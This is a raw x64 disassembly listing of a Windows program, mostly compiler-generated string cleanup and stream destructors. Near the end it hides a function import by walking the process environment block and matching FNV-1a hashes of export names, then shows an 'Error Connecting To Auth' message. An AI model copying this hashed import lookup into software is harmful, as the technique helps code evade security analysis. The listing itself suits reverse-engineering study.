call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov qword [rbp + 0x190], rbx
mov qword [rbp + 0x198], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x180], 0
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 0x10
jb 0x140075ebe
inc rdx
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075eb8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075eb8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
nop
mov rdx, qword [rbp + 0x130]
cmp rdx, 0x10
jb 0x140075f02
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075efd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075efd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
lea r13, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
call fcn.140070830
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 0x10
jb 0x140075f53
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075f4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075f4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp + 0x170], xmm0
mov byte [rbp + 0x160], 0
mov rdx, qword [rbp + 0x468]
cmp rdx, 0x10
jb 0x140075faf
inc rdx
mov rcx, qword [rbp + 0x450]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075fa9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075fa9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
nop
mov rdx, qword [rbp + 0x488]
cmp rdx, 0x10
jb 0x140075ff4
inc rdx
mov rcx, qword [rbp + 0x470]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075fee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140075fee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
nop
mov rdx, qword [rbp + 0x4a8]
cmp rdx, 0x10
jb 0x140076039
inc rdx
mov rcx, qword [rbp + 0x490]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140076033
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140076033
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
nop
mov rdx, qword [rbp + 0x258]
cmp rdx, 0x10
jb 0x14007607e
inc rdx
mov rcx, qword [rbp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140076078
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140076078
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
nop
mov rax, qword [rbp + 0x2c0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x2c0], r13
mov rax, qword [rbp + 0x2c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2bc], edx
lea rcx, [rbp + 0x2c8]
call fcn.14005e230
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x368]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x298]
cmp rdx, 0x10
jb 0x1400761d7
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140076113
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140076113
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
jmp 0x1400761d7
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400761a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400761a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400761a1
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140076180
cmp r8d, 0x31a98fee
je 0x1400761ab
test r9d, r9d
jne 0x140076160
mov rax, qword [rax]
jmp 0x140076130
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Error_Connecting_To_Auth
xor ecx, ecx
call rax
mov rcx, qword [rbp + 0x6f0]
xor rcx, rsp
call fcn.1400e4490
lea r11, [rsp + 0x830]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rbp + 0xf8]
mov edx, eax
lea rcx, [0x1400fefa4]
call fcn.14005a5f0
nop
call fcn.140011890
int3